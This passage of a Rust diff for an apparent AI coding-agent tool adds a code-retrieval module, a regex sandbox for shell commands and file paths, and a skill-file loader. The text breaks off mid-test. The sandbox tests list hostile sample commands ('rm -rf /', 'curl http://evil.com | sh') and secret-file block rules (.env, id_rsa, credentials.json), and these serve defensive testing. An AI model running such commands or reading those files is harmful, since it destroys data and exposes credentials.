CodeSnippet { + pub file: PathBuf, + pub line: usize, + pub content: String, + pub score: f64, + pub source: RetrievalSource, +} + +impl fmt::Display for CodeSnippet { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + write!( + f, + "{}:{} (score={:.2}):\n{}", + self.file.display(), + self.line, + self.score, + self.content + ) + } +} + +/// RAG context retrieval trait. +/// +/// Implement this trait to provide custom code retrieval for agent context. +/// +/// ## Stability +/// +/// This trait is part of the stable SDK contract. Breaking changes to the +/// signature will be accompanied by a major version bump. +#[async_trait::async_trait] +pub trait CodeRetriever: Send + Sync { + async fn retrieve(&self, query: &str, top_k: usize) -> Vec; +} + +pub struct FileCodeRetriever { + root: PathBuf, + context_lines: usize, +} + +impl FileCodeRetriever { + pub fn new(root: PathBuf) -> Self { + FileCodeRetriever { + root, + context_lines: 3, + } + } + + pub fn with_context_lines(mut self, lines: usize) -> Self { + self.context_lines = lines; + self + } + + fn is_source_file(path: &Path) -> bool { + path.extension() + .map(|e| { + matches!( + e.to_str(), + Some("rs" | "py" | "ts" | "js" | "go" | "java" | "c" | "cpp" | "toml") + ) + }) + .unwrap_or(false) + } + + fn should_skip_dir(name: &str) -> bool { + matches!( + name, + "target" | ".git" | ".forge" | ".magellan" | "node_modules" + ) + } + + async fn collect_source_files(&self, dir: &Path, files: &mut Vec) { + let Ok(mut entries) = tokio::fs::read_dir(dir).await else { + return; + }; + while let Ok(Some(entry)) = entries.next_entry().await { + let path = entry.path(); + if path.is_dir() { + if let Some(name) = path.file_name().and_then(|n| n.to_str()) { + if Self::should_skip_dir(name) { + continue; + } + } + Box::pin(self.collect_source_files(&path, files)).await; + } else if path.is_file() && Self::is_source_file(&path) { + files.push(path); + } + } + } + + fn score_line(line: &str, terms: &[&str]) -> f64 { + let line_lower = line.to_lowercase(); + let mut score = 0.0; + for term in terms { + let term_lower = term.to_lowercase(); + if line_lower.contains(&term_lower) { + score += 1.0; + if line_lower.starts_with(&term_lower) { + score += 0.3; + } + if line.contains("fn ") || line.contains("struct ") || line.contains("impl ") { + score += 0.5; + } + } + } + if score > 0.0 { + score / terms.len() as f64 + } else { + 0.0 + } + } +} + +#[async_trait::async_trait] +impl CodeRetriever for FileCodeRetriever { + async fn retrieve(&self, query: &str, top_k: usize) -> Vec { + if query.trim().is_empty() { + return Vec::new(); + } + + let terms: Vec<&str> = query.split_whitespace().filter(|w| w.len() >= 2).collect(); + + if terms.is_empty() { + return Vec::new(); + } + + let mut files = Vec::new(); + self.collect_source_files(&self.root, &mut files).await; + + let mut candidates: Vec = Vec::new(); + + for path in &files { + let Ok(content) = tokio::fs::read_to_string(path).await else { + continue; + }; + let lines: Vec<&str> = content.lines().collect(); + for (idx, line) in lines.iter().enumerate() { + let score = Self::score_line(line, &terms); + if score > 0.0 { + let start = idx.saturating_sub(self.context_lines); + let end = (idx + self.context_lines + 1).min(lines.len()); + let context_block: String = lines[start..end].join("\n"); + let relative = path.strip_prefix(&self.root).unwrap_or(path); + candidates.push(CodeSnippet { + file: relative.to_path_buf(), + line: idx + 1, + content: context_block, + score, + source: RetrievalSource::File, + }); + } + } + } + + candidates.sort_by(|a, b| { + b.score + .partial_cmp(&a.score) + .unwrap_or(std::cmp::Ordering::Equal) + }); + candidates.truncate(top_k); + candidates + } +} + +#[cfg(feature = "atheneum")] +pub struct AtheneumRetriever { + db_path: PathBuf, +} + +#[cfg(feature = "atheneum")] +impl AtheneumRetriever { + pub fn new(db_path: PathBuf) -> Self { + AtheneumRetriever { db_path } + } +} + +#[cfg(feature = "atheneum")] +#[async_trait::async_trait] +impl CodeRetriever for AtheneumRetriever { + async fn retrieve(&self, query: &str, top_k: usize) -> Vec { + let db_path = self.db_path.clone(); + let query = query.to_string(); + tokio::task::spawn_blocking(move || { + let graph = match atheneum::graph::AtheneumGraph::open(&db_path) { + Ok(g) => g, + Err(_) => return Vec::new(), + }; + + let knowledge = match graph.query_knowledge(&query, None) { + Ok(k) => k, + Err(_) => return Vec::new(), + }; + + let mut snippets = Vec::new(); + + if let Some(discoveries) = knowledge.get("discoveries").and_then(|d| d.as_array()) { + for disc in discoveries.iter().take(top_k) { + let target = disc + .get("target") + .and_then(|t| t.as_str()) + .unwrap_or("unknown"); + let agent = disc + .get("agent") + .and_then(|a| a.as_str()) + .unwrap_or("unknown"); + let dtype = disc + .get("discovery_type") + .and_then(|t| t.as_str()) + .unwrap_or("unknown"); + let metadata = disc + .get("metadata") + .cloned() + .unwrap_or(serde_json::Value::Null); + + snippets.push(CodeSnippet { + file: PathBuf::from(format!("atheneum://discovery/{target}")), + line: 0, + content: format!( + "Discovery by {agent}: [{dtype}] {target}\nMetadata: {metadata}" + ), + score: 0.8, + source: RetrievalSource::Knowledge, + }); + } + } + + if let Some(handoffs) = knowledge.get("handoffs").and_then(|h| h.as_array()) { + for ho in handoffs.iter().take(top_k.saturating_sub(snippets.len())) { + let from = ho + .get("from_agent") + .and_then(|f| f.as_str()) + .unwrap_or("unknown"); + let manifest = ho + .get("manifest") + .cloned() + .unwrap_or(serde_json::Value::Null); + + snippets.push(CodeSnippet { + file: PathBuf::from("atheneum://handoff"), + line: 0, + content: format!("Handoff from {from}:\n{manifest}"), + score: 0.6, + source: RetrievalSource::Knowledge, + }); + } + } + + snippets.truncate(top_k); + snippets + }) + .await + .unwrap_or_default() + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn score_line_exact_match() { + let score = FileCodeRetriever::score_line("fn hello()", &["hello"]); + assert!(score > 0.0); + } + + #[test] + fn score_line_no_match() { + let score = FileCodeRetriever::score_line("fn world()", &["hello"]); + assert_eq!(score, 0.0); + } + + #[test] + fn score_line_definition_bonus() { + let def_score = FileCodeRetriever::score_line("fn hello()", &["hello"]); + let call_score = FileCodeRetriever::score_line("hello()", &["hello"]); + assert!(def_score > call_score); + } + + #[test] + fn is_source_file_filters() { + assert!(FileCodeRetriever::is_source_file(Path::new("foo.rs"))); + assert!(FileCodeRetriever::is_source_file(Path::new("foo.py"))); + assert!(!FileCodeRetriever::is_source_file(Path::new("foo.txt"))); + assert!(!FileCodeRetriever::is_source_file(Path::new("foo.md"))); + } + + #[test] + fn should_skip_dir_filters() { + assert!(FileCodeRetriever::should_skip_dir("target")); + assert!(FileCodeRetriever::should_skip_dir(".git")); + assert!(!FileCodeRetriever::should_skip_dir("src")); + } +} diff --git a/forgekit_agent/src/chat/retrieval_tests.rs b/forgekit_agent/src/chat/retrieval_tests.rs new file mode 100644 index 0000000..d80af01 --- /dev/null +++ b/forgekit_agent/src/chat/retrieval_tests.rs @@ -0,0 +1,171 @@ +use super::retrieval::{CodeRetriever, CodeSnippet, FileCodeRetriever, RetrievalSource}; +use std::path::PathBuf; + +struct MockRetriever { + snippets: Vec, +} + +impl MockRetriever { + fn new(snippets: Vec) -> Self { + MockRetriever { snippets } + } +} + +#[async_trait::async_trait] +impl CodeRetriever for MockRetriever { + async fn retrieve(&self, _query: &str, top_k: usize) -> Vec { + self.snippets.iter().take(top_k).cloned().collect() + } +} + +fn make_snippet(file: &str, line: usize, content: &str, score: f64) -> CodeSnippet { + CodeSnippet { + file: PathBuf::from(file), + line, + content: content.to_string(), + score, + source: RetrievalSource::File, + } +} + +#[tokio::test] +async fn mock_retriever_returns_top_k() { + let snippets = vec![ + make_snippet("a.rs", 1, "fn a()", 0.9), + make_snippet("b.rs", 2, "fn b()", 0.8), + make_snippet("c.rs", 3, "fn c()", 0.7), + ]; + let retriever = MockRetriever::new(snippets); + let results = retriever.retrieve("test", 2).await; + assert_eq!(results.len(), 2); + assert_eq!(results[0].file, PathBuf::from("a.rs")); + assert_eq!(results[1].file, PathBuf::from("b.rs")); +} + +#[tokio::test] +async fn mock_retriever_empty_results() { + let retriever = MockRetriever::new(vec![]); + let results = retriever.retrieve("nothing", 5).await; + assert!(results.is_empty()); +} + +#[tokio::test] +async fn file_retriever_finds_matching_lines() { + let dir = tempfile::tempdir().unwrap(); + let file_path = dir.path().join("example.rs"); + tokio::fs::write( + &file_path, + "fn hello() {\n println!(\"hello\");\n}\n\nfn world() {\n println!(\"world\");\n}\n", + ) + .await + .unwrap(); + + let retriever = FileCodeRetriever::new(dir.path().to_path_buf()); + let results = retriever.retrieve("hello", 10).await; + + assert!(!results.is_empty(), "should find 'hello' in example.rs"); + let first = &results[0]; + assert!(first.file.ends_with("example.rs")); + assert_eq!(first.line, 1); + assert!(first.content.contains("hello")); + assert_eq!(first.source, RetrievalSource::File); +} + +#[tokio::test] +async fn file_retriever_respects_top_k() { + let dir = tempfile::tempdir().unwrap(); + for i in 0..5 { + let file_path = dir.path().join(format!("file{i}.rs")); + tokio::fs::write(&file_path, format!("fn func_{i}() {{ }}")) + .await + .unwrap(); + } + + let retriever = FileCodeRetriever::new(dir.path().to_path_buf()); + let results = retriever.retrieve("func", 3).await; + assert_eq!(results.len(), 3); +} + +#[tokio::test] +async fn file_retriever_empty_dir() { + let dir = tempfile::tempdir().unwrap(); + let retriever = FileCodeRetriever::new(dir.path().to_path_buf()); + let results = retriever.retrieve("anything", 10).await; + assert!(results.is_empty()); +} + +#[tokio::test] +async fn file_retriever_skips_non_source_files() { + let dir = tempfile::tempdir().unwrap(); + tokio::fs::write(dir.path().join("data.txt"), "fn hello") + .await + .unwrap(); + tokio::fs::write(dir.path().join("code.rs"), "fn hello() {}") + .await + .unwrap(); + + let retriever = FileCodeRetriever::new(dir.path().to_path_buf()); + let results = retriever.retrieve("hello", 10).await; + assert_eq!(results.len(), 1); + assert!(results[0].file.ends_with("code.rs")); +} + +#[tokio::test] +async fn file_retriever_skips_target_and_git_dirs() { + let dir = tempfile::tempdir().unwrap(); + let target_dir = dir.path().join("target"); + tokio::fs::create_dir_all(&target_dir).await.unwrap(); + tokio::fs::write(target_dir.join("build.rs"), "fn secret_target() {}") + .await + .unwrap(); + + let git_dir = dir.path().join(".git"); + tokio::fs::create_dir_all(&git_dir).await.unwrap(); + tokio::fs::write(git_dir.join("config.rs"), "fn secret_git() {}") + .await + .unwrap(); + + tokio::fs::write(dir.path().join("src.rs"), "fn visible() {}") + .await + .unwrap(); + + let retriever = FileCodeRetriever::new(dir.path().to_path_buf()); + let results = retriever.retrieve("secret", 10).await; + assert!(results.is_empty(), "should not search target/ or .git/"); + + let results = retriever.retrieve("visible", 10).await; + assert_eq!(results.len(), 1); +} + +#[tokio::test] +async fn file_retriever_multi_line_context() { + let dir = tempfile::tempdir().unwrap(); + tokio::fs::write( + dir.path().join("code.rs"), + "// comment\nfn important() {\n todo!()\n}\n", + ) + .await + .unwrap(); + + let retriever = FileCodeRetriever::new(dir.path().to_path_buf()); + let results = retriever.retrieve("important", 10).await; + + assert_eq!(results.len(), 1); + assert!(results[0].content.contains("fn important()")); +} + +#[tokio::test] +async fn code_snippet_display_format() { + let snippet = make_snippet("src/main.rs", 42, "fn main() {}", 0.95); + let display = format!("{snippet}"); + assert!(display.contains("src/main.rs")); + assert!(display.contains("42")); + assert!(display.contains("fn main()")); +} + +#[tokio::test] +async fn retrieval_source_debug() { + assert_eq!(format!("{:?}", RetrievalSource::File), "File"); + assert_eq!(format!("{:?}", RetrievalSource::Graph), "Graph"); + assert_eq!(format!("{:?}", RetrievalSource::Knowledge), "Knowledge"); +} diff --git a/forgekit_agent/src/chat/sandbox.rs b/forgekit_agent/src/chat/sandbox.rs new file mode 100644 index 0000000..50c2a4c --- /dev/null +++ b/forgekit_agent/src/chat/sandbox.rs @@ -0,0 +1,145 @@ +//! Security sandboxing for tool execution. +//! +//! Provides configurable restrictions for shell commands and file access. + +use regex::Regex; +use std::sync::Arc; + +#[derive(Default)] +pub struct Sandbox { + blocked_commands: Vec, + blocked_paths: Vec, +} + +impl std::fmt::Debug for Sandbox { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + f.debug_struct("Sandbox") + .field("blocked_commands", &self.blocked_commands.len()) + .field("blocked_paths", &self.blocked_paths.len()) + .finish() + } +} + +impl Sandbox { + pub fn new() -> Self { + Sandbox::default() + } + + pub fn with_blocked_commands(mut self, patterns: &[String]) -> Self { + self.blocked_commands = patterns.iter().filter_map(|p| Regex::new(p).ok()).collect(); + self + } + + pub fn with_blocked_paths(mut self, patterns: &[String]) -> Self { + self.blocked_paths = patterns.iter().filter_map(|p| Regex::new(p).ok()).collect(); + self + } + + pub fn from_config(config: &crate::agent_config::AgentConfig) -> Self { + let mut sandbox = Sandbox::new(); + if let Some(ref patterns) = config.blocked_commands { + sandbox = sandbox.with_blocked_commands(patterns); + } + if let Some(ref patterns) = config.blocked_paths { + sandbox = sandbox.with_blocked_paths(patterns); + } + sandbox + } + + pub fn is_command_allowed(&self, command: &str) -> Result<(), String> { + for pattern in &self.blocked_commands { + if pattern.is_match(command) { + return Err(format!( + "Command blocked by sandbox policy: matches '{}'", + pattern + )); + } + } + Ok(()) + } + + pub fn is_path_allowed(&self, path: &str) -> Result<(), String> { + for pattern in &self.blocked_paths { + if pattern.is_match(path) { + return Err(format!( + "Path blocked by sandbox policy: matches '{}'", + pattern + )); + } + } + Ok(()) + } +} + +pub type SharedSandbox = Arc>>; + +pub fn shared_sandbox(sandbox: Option) -> SharedSandbox { + Arc::new(parking_lot::Mutex::new(sandbox)) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn empty_sandbox_allows_all() { + let sandbox = Sandbox::new(); + assert!(sandbox.is_command_allowed("rm -rf /").is_ok()); + assert!(sandbox.is_path_allowed("/etc/passwd").is_ok()); + } + + #[test] + fn blocked_commands_regex() { + let sandbox = Sandbox::new() + .with_blocked_commands(&["rm\\s+-rf".to_string(), "curl\\s+.*\\|\\s*sh".to_string()]); + assert!(sandbox.is_command_allowed("ls -la").is_ok()); + assert!(sandbox.is_command_allowed("rm -rf /").is_err()); + assert!(sandbox + .is_command_allowed("curl http://evil.com | sh") + .is_err()); + assert!(sandbox.is_command_allowed("cargo build").is_ok()); + } + + #[test] + fn blocked_paths_regex() { + let sandbox = Sandbox::new().with_blocked_paths(&[ + "\\.env".to_string(), + "credentials\\.json".to_string(), + "id_rsa".to_string(), + ]); + assert!(sandbox.is_path_allowed("src/main.rs").is_ok()); + assert!(sandbox.is_path_allowed(".env").is_err()); + assert!(sandbox.is_path_allowed("config/.env.production").is_err()); + assert!(sandbox.is_path_allowed("credentials.json").is_err()); + assert!(sandbox.is_path_allowed("/home/user/.ssh/id_rsa").is_err()); + } + + #[test] + fn blocked_commands_error_message() { + let sandbox = Sandbox::new().with_blocked_commands(&["sudo".to_string()]); + let err = sandbox.is_command_allowed("sudo rm -rf /").unwrap_err(); + assert!(err.contains("blocked by sandbox policy")); + assert!(err.contains("sudo")); + } + + #[test] + fn invalid_regex_is_ignored() { + let sandbox = + Sandbox::new().with_blocked_commands(&["[invalid".to_string(), "rm".to_string()]); + assert!(sandbox.is_command_allowed("rm file").is_err()); + assert!(sandbox.is_command_allowed("ls").is_ok()); + } + + #[test] + fn from_config() { + let config = crate::agent_config::AgentConfig { + blocked_commands: Some(vec!["sudo".to_string()]), + blocked_paths: Some(vec!["\\.env".to_string()]), + ..Default::default() + }; + let sandbox = Sandbox::from_config(&config); + assert!(sandbox.is_command_allowed("sudo apt install").is_err()); + assert!(sandbox.is_path_allowed(".env").is_err()); + assert!(sandbox.is_command_allowed("cargo test").is_ok()); + } +} diff --git a/forgekit_agent/src/chat/skills/loader.rs b/forgekit_agent/src/chat/skills/loader.rs new file mode 100644 index 0000000..e63d593 --- /dev/null +++ b/forgekit_agent/src/chat/skills/loader.rs @@ -0,0 +1,600 @@ +use super::manifest::{SkillContent, SkillManifest}; +use std::collections::HashMap; +use std::path::PathBuf; + +pub struct SkillLoader { + search_paths: Vec, +} + +impl SkillLoader { + pub fn new(project_dir: Option<&std::path::Path>) -> Self { + let mut search_paths = Vec::new(); + + if let Some(dir) = project_dir { + search_paths.push(dir.join(".forge").join("skills")); + } + + if let Ok(home) = std::env::var("HOME") { + let user_skills = PathBuf::from(&home).join(".forge").join("skills"); + search_paths.push(user_skills); + let claude_skills = PathBuf::from(&home).join(".claude").join("skills"); + search_paths.push(claude_skills); + let opencode_skills = PathBuf::from(&home) + .join(".config") + .join("opencode") + .join("skills"); + search_paths.push(opencode_skills); + } + + SkillLoader { search_paths } + } + + pub fn with_search_paths(search_paths: Vec) -> Self { + SkillLoader { search_paths } + } + + pub fn discover(&self) -> Vec { + let mut manifests = Vec::new(); + let mut seen_names = std::collections::HashSet::new(); + + for search_path in &self.search_paths { + if !search_path.exists() { + continue; + } + if let Ok(entries) = std::fs::read_dir(search_path) { + for entry in entries.flatten() { + if let Ok(file_type) = entry.file_type() { + if file_type.is_dir() { + let skill_dir = entry.path(); + let skill_md = skill_dir.join("SKILL.md"); + if skill_md.exists() { + if let Some(dir_name) = entry.file_name().to_str() { + if let Some(manifest) = + Self::parse_manifest(dir_name, &skill_md) + { + if seen_names.contains(&manifest.name) { + continue; + } + seen_names.insert(manifest.name.clone()); + manifests.push(manifest); + } + } + } + } + } + } + } + } + + manifests + } + + pub fn load_content(&self, name: &str) -> Option { + for search_path in &self.search_paths { + if !search_path.exists() { + continue; + } + if let Ok(entries) = std::fs::read_dir(search_path) { + for entry in entries.flatten() { + if let Ok(file_type) = entry.file_type() { + if file_type.is_dir() { + let skill_md = entry.path().join("SKILL.md"); + if skill_md.exists() { + if let Some(dir_name) = entry.file_name().to_str() { + if let Some(manifest) = + Self::parse_manifest(dir_name, &skill_md) + { + if manifest.name == name { + let content = + std::fs::read_to_string(&skill_md).ok()?; + return Some(SkillContent { manifest, content }); + } + } + } + } + } + } + } + } + } + None + } + + pub fn load_all_content(&self) -> HashMap { + let manifests = self.discover(); + let mut result = HashMap::new(); + for manifest in manifests { + let name = manifest.name.clone(); + let location = manifest.location.clone(); + if let Ok(content) = std::fs::read_to_string(&location) { + result.insert(name, SkillContent { manifest, content }); + } + } + result + } + + fn parse_manifest(dir_name: &str, path: &std::path::Path) -> Option { + let content = std::fs::read_to_string(path).ok()?; + + let (frontmatter, body) = split_frontmatter(&content); + + let (fm_name, fm_description, fm_depends) = parse_yaml_frontmatter(frontmatter); + + let final_name = fm_name.unwrap_or_else(|| dir_name.to_string()); + let description = + fm_description.unwrap_or_else(|| extract_description(body).unwrap_or_default()); + let mut triggers = extract_triggers(body); + let depends_on = fm_depends.unwrap_or_default(); + + if triggers.is_empty() && !description.is_empty() { + triggers = extract_implicit_triggers(&description); + } + + Some(SkillManifest { + name: final_name, + description, + location: path.to_path_buf(), + triggers, + depends_on, + }) + } +} + +fn split_frontmatter(content: &str) -> (Option<&str>, &str) { + let trimmed = content.trim_start(); + if !trimmed.starts_with("---") { + return (None, content); + } + let after_first = &trimmed[3..]; + let after_first = after_first.trim_start_matches('\n'); + if let Some(end_idx) = after_first.find("\n---") { + let frontmatter = &after_first[..end_idx]; + let body_start = end_idx + 4; + let body = after_first[body_start..].trim_start(); + (Some(frontmatter), body) + } else { + (None, content) + } +} + +fn unquote(s: &str) -> String { + let s = s.trim(); + if (s.starts_with('"') && s.ends_with('"') && s.len() >= 2) + || (s.starts_with('\'') && s.ends_with('\'') && s.len() >= 2) + { + s[1..s.len() - 1].to_string() + } else { + s.to_string() + } +} + +fn parse_inline_list(val: &str) -> Vec { + let val = val.trim(); + if !(val.starts_with('[') && val.ends_with(']')) { + return Vec::new(); + } + let inner = &val[1..val.len() - 1]; + inner + .split(',') + .map(unquote) + .filter(|s| !s.is_empty()) + .collect() +} + +fn parse_yaml_frontmatter( + frontmatter: Option<&str>, +) -> (Option, Option, Option>) { + let fm = match frontmatter { + Some(f) => f, + None => return (None, None, None), + }; + + let mut name = None; + let mut description = None; + let mut depends_on = None; + let mut in_dep_list = false; + + for line in fm.lines() { + let trimmed = line.trim(); + + if in_dep_list { + if let Some(stripped) = trimmed.strip_prefix("- ") { + depends_on + .get_or_insert_with(Vec::new) + .push(unquote(stripped)); + } else { + in_dep_list = false; + } + if !trimmed.starts_with('-') && !trimmed.is_empty() { + in_dep_list = false; + } + continue; + } + + if let Some(val) = trimmed.strip_prefix("name:") { + name = Some(unquote(val)); + } else if let Some(val) = trimmed.strip_prefix("description:") { + description = Some(unquote(val)); + } else if let Some(val) = trimmed.strip_prefix("depends_on:") { + let val = val.trim(); + if val.starts_with('[') { + depends_on = Some(parse_inline_list(val)); + } else if val.starts_with('"') || val.starts_with('\'') { + let unquoted = unquote(val); + depends_on = Some( + unquoted + .split(',') + .map(|s| s.trim().to_string()) + .filter(|s| !s.is_empty()) + .collect(), + ); + } else if val.is_empty() || val == "|" || val == ">" { + in_dep_list = true; + } + } + } + + (name, description, depends_on) +} + +fn extract_description(content: &str) -> Option { + for line in content.lines() { + let trimmed = line.trim(); + if !trimmed.is_empty() + && !trimmed.starts_with('#') + && !trimmed.starts_with("//!") + && !trimmed.starts_with("---") + { + return Some(trimmed.to_string()); + } + } + None +} + +fn extract_triggers(content: &str) -> Vec { + let mut triggers = Vec::new(); + for line in content.lines() { + let lower = line.to_lowercase(); + if lower.contains("triggers on:") + || (lower.contains("triggers:") && !lower.contains("triggers on:")) + { + let after_marker = if let Some(idx) = lower.find(':') { + &line[idx + 1..] + } else { + continue; + }; + + for part in after_marker.split(',') { + let t = part.trim().trim_matches('.').trim_matches('`'); + if !t.is_empty() { + triggers.push(t.to_string()); + } + } + break; + } + } + triggers +} + +fn extract_implicit_triggers(description: &str) -> Vec { + let skip_words = std::collections::HashSet::from([ + "a", "an", "the", "is", "are", "was", "were", "be", "been", "being", "have", "has", "had", + "do", "does", "did", "will", "would", "could", "should", "may", "might", "shall", "can", + "this", "that", "these", "those", "it", "its", "or", "and", "but", "in", "on", "at", "to", + "for", "of", "with", "by", "from", "as", "into", "through", "during", "before", "after", + "not", "no", "nor", "so", "if", "then", "than", "when", "where", "how", "what", "which", + "who", "whom", "all", "each", "every", "both", "few", "more", "most", "other", "some", + "such", "only", "own", "same", "too", "very", "just", "also", "about", "up", "out", "any", + "their", "them", "they", "he", "she", "we", "you", "i", "me", "my", "your", "use", "used", + "using", "should", "skill", "load", + ]); + + let mut triggers = Vec::new(); + let lower = description.to_lowercase(); + let cleaned: String = lower + .chars() + .map(|c| { + if c.is_alphanumeric() || c == ' ' { + c + } else { + ' ' + } + }) + .collect(); + + for word in cleaned.split_whitespace() { + if word.len() >= 3 && !skip_words.contains(word) && !triggers.iter().any(|t| t == word) { + triggers.push(word.to_string()); + } + if triggers.len() >= 20 { + break; + } + } + + triggers +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_split_frontmatter_with_fm() { + let content = "---\nname: foo\ndescription: bar\n---\nBody here."; + let (fm, body) = split_frontmatter(content); + assert_eq!(fm, Some("name: foo\ndescription: bar")); + assert!(body.starts_with("Body here.")); + } + + #[test] + fn test_split_frontmatter_without_fm() { + let content = "# Title\n\nBody here."; + let (fm, body) = split_frontmatter(content); + assert!(fm.is_none()); + assert!(body.contains("Body here.")); + } + + #[test] + fn test_parse_yaml_frontmatter_quoted() { + let fm = "name: grounded-coding-core\ndescription: \"Use this for coding\"\ndepends_on: [\"tools\"]"; + let (name, desc, deps) = parse_yaml_frontmatter(Some(fm)); + assert_eq!(name, Some("grounded-coding-core".to_string())); + assert_eq!(desc, Some("Use this for coding".to_string())); + assert_eq!(deps, Some(vec!["tools".to_string()])); + } + + #[test] + fn test_parse_yaml_frontmatter_single_quoted() { + let fm = "name: 'my-skill'\ndescription: 'A skill'"; + let (name, desc, _) = parse_yaml_frontmatter(Some(fm)); + assert_eq!(name, Some("my-skill".to_string())); + assert_eq!(desc, Some("A skill".to_string())); + } + + #[test] + fn test_parse_yaml_frontmatter_unquoted() { + let fm = "name: test\ndescription: This is a description"; + let (_, desc, _) = parse_yaml_frontmatter(Some(fm)); + assert_eq!(desc, Some("This is a description".to_string())); + } + + #[test] + fn test_parse_yaml_frontmatter_list_style_deps() { + let fm = "name: tdd\ndescription: \"TDD\"\ndepends_on:\n - core\n - planning"; + let (_, _, deps) = parse_yaml_frontmatter(Some(fm)); + assert_eq!(deps, Some(vec!["core".to_string(), "planning".to_string()])); + } + + #[test] + fn test_parse_yaml_frontmatter_list_style_quoted_deps() { + let fm = "name: tdd\ndescription: \"TDD\"\ndepends_on:\n - \"core\"\n - 'planning'"; + let (_, _, deps) = parse_yaml_frontmatter(Some(fm)); + assert_eq!(deps, Some(vec!["core".to_string(), "planning".to_string()])); + } + + #[test] + fn test_parse_yaml_frontmatter_pipe_style_deps() { + let fm = "name: tdd\ndescription: \"TDD\"\ndepends_on: |\n - core\n - planning"; + let (_, _, deps) = parse_yaml_frontmatter(Some(fm)); + assert_eq!(deps, Some(vec!["core".to_string(), "planning".to_string()])); + } + + #[test] + fn test_parse_yaml_frontmatter_comma_string_deps() { + let fm = "name: skill\ndescription: \"desc\"\ndepends_on: \"deep-research, academic-paper, academic-paper-reviewer\""; + let (_, _, deps) = parse_yaml_frontmatter(Some(fm)); + assert_eq!( + deps, + Some(vec![ + "deep-research".to_string(), + "academic-paper".to_string(), + "academic-paper-reviewer".to_string(), + ]) + ); + } + + #[test] + fn test_parse_yaml_frontmatter_comma_single_quoted_deps() { + let fm = "name: skill\ndescription: \"desc\"\ndepends_on: 'deep-research, academic-paper'"; + let (_, _, deps) = parse_yaml_frontmatter(Some(fm)); + assert_eq!( + deps, + Some(vec![ + "deep-research".to_string(), + "academic-paper".to_string() + ]) + ); + } + + #[test] + fn test_parse_yaml_frontmatter_empty_deps() { + let fm = "name: core\ndescription: \"Core\""; + let (_, _, deps) = parse_yaml_frontmatter(Some(fm)); + assert_eq!(deps, None); + } + + #[test] + fn test_extract_description() { + let content = "# My Skill\n\nThis is the description.\n\nMore details."; + assert_eq!( + extract_description(content), + Some("This is the description.".to_string()) + ); + } + + #[test] + fn test_extract_description_skips_comments() { + let content = "//! Skill header\n//! More header\n\nReal description here."; + assert_eq!( + extract_description(content), + Some("Real description here.".to_string()) + ); + } + + #[test] + fn test_extract_triggers() { + let content = "# Skill\nTriggers: code change, debugging, test failure\n\nBody."; + let triggers = extract_triggers(content); + assert_eq!(triggers, vec!["code change", "debugging", "test failure"]); + } + + #[test] + fn test_extract_triggers_line_format() { + let content = "# Skill\nTriggers on: write paper, academic paper\n\nBody."; + let triggers = extract_triggers(content); + assert_eq!(triggers, vec!["write paper", "academic paper"]); + } + + #[test] + fn test_loader_discovers_from_temp_dir() { + let temp = tempfile::tempdir().expect("invariant: tempdir creation succeeds"); + let skill_dir = temp.path().join(".forge").join("skills").join("test-skill"); + std::fs::create_dir_all(&skill_dir).expect("invariant: dir creation succeeds"); + std::fs::write( + skill_dir.join("SKILL.md"), + "# Test Skill\n\nA test skill for testing.\nTriggers: testing, verify", + ) + .expect("invariant: write succeeds"); + + let loader = SkillLoader::new(Some(temp.path())); + let manifests = loader.discover(); + let found = manifests.iter().any(|m| m.name == "test-skill"); + assert!(found, "test-skill should be discovered from temp dir"); + let test_manifest = manifests + .iter() + .find(|m| m.name == "test-skill") + .expect("invariant: found"); + assert_eq!(test_manifest.triggers, vec!["testing", "verify"]); + } + + #[test] + fn test_loader_dedup_by_manifest_name_not_dir() { + let temp = tempfile::tempdir().expect("invariant: tempdir creation succeeds"); + + let dir_a = temp.path().join(".forge").join("skills").join("dir-a"); + std::fs::create_dir_all(&dir_a).expect("invariant: dir creation succeeds"); + std::fs::write( + dir_a.join("SKILL.md"), + "---\nname: same-name\ndescription: \"From A\"\n---\n# A", + ) + .expect("invariant: write succeeds"); + + let dir_b = temp.path().join(".forge").join("skills").join("dir-b"); + std::fs::create_dir_all(&dir_b).expect("invariant: dir creation succeeds"); + std::fs::write( + dir_b.join("SKILL.md"), + "---\nname: same-name\ndescription: \"From B\"\n---\n# B", + ) + .expect("invariant: write succeeds"); + + let loader = + SkillLoader::with_search_paths(vec![temp.path().join(".forge").join("skills")]); + let manifests = loader.discover(); + let count = manifests.iter().filter(|m| m.name == "same-name").count(); + assert_eq!(count, 1, "should dedup by manifest name, not dir name"); + } + + #[test] + fn test_loader_load_by_manifest_name_not_dir() { + let temp = tempfile::tempdir().expect("invariant: tempdir creation succeeds"); + + let dir = temp.path().join(".forge").join("skills").join("my-dir"); + std::fs::create_dir_all(&dir).expect("invariant: dir creation succeeds"); + std::fs::write( + dir.join("SKILL.md"), + "---\nname: actual-name\ndescription: \"Loaded by name\"\n---\n# Actual", + ) + .expect("invariant: write succeeds"); + + let loader = + SkillLoader::with_search_paths(vec![temp.path().join(".forge").join("skills")]); + + assert!( + loader.load_content("actual-name").is_some(), + "should load by manifest name" + ); + assert!( + loader.load_content("my-dir").is_none(), + "should NOT load by directory name when frontmatter differs" + ); + } + + #[test] + fn test_loader_discovers_yaml_frontmatter() { + let temp = tempfile::tempdir().expect("invariant: tempdir creation succeeds"); + let skill_dir = temp.path().join(".forge").join("skills").join("yaml-skill"); + std::fs::create_dir_all(&skill_dir).expect("invariant: dir creation succeeds"); + std::fs::write( + skill_dir.join("SKILL.md"), + "---\nname: yaml-skill\ndescription: \"A YAML skill\"\ndepends_on: [\"core\"]\n---\n# YAML Skill\n\nBody content.", + ) + .expect("invariant: write succeeds"); + + let loader = SkillLoader::new(Some(temp.path())); + let manifests = loader.discover(); + let m = manifests + .iter() + .find(|m| m.name == "yaml-skill") + .expect("invariant: found"); + assert_eq!(m.description, "A YAML skill"); + assert_eq!(m.depends_on, vec!["core"]); + } + + #[test] + fn test_loader_deduplicates_across_search_paths() { + let temp = tempfile::tempdir().expect("invariant: tempdir creation succeeds"); + + let proj_skill = temp.path().join(".forge").join("skills").join("dup-skill"); + std::fs::create_dir_all(&proj_skill).expect("invariant: dir creation succeeds"); + std::fs::write(proj_skill.join("SKILL.md"), "# Dup\n\nFirst copy.\n") + 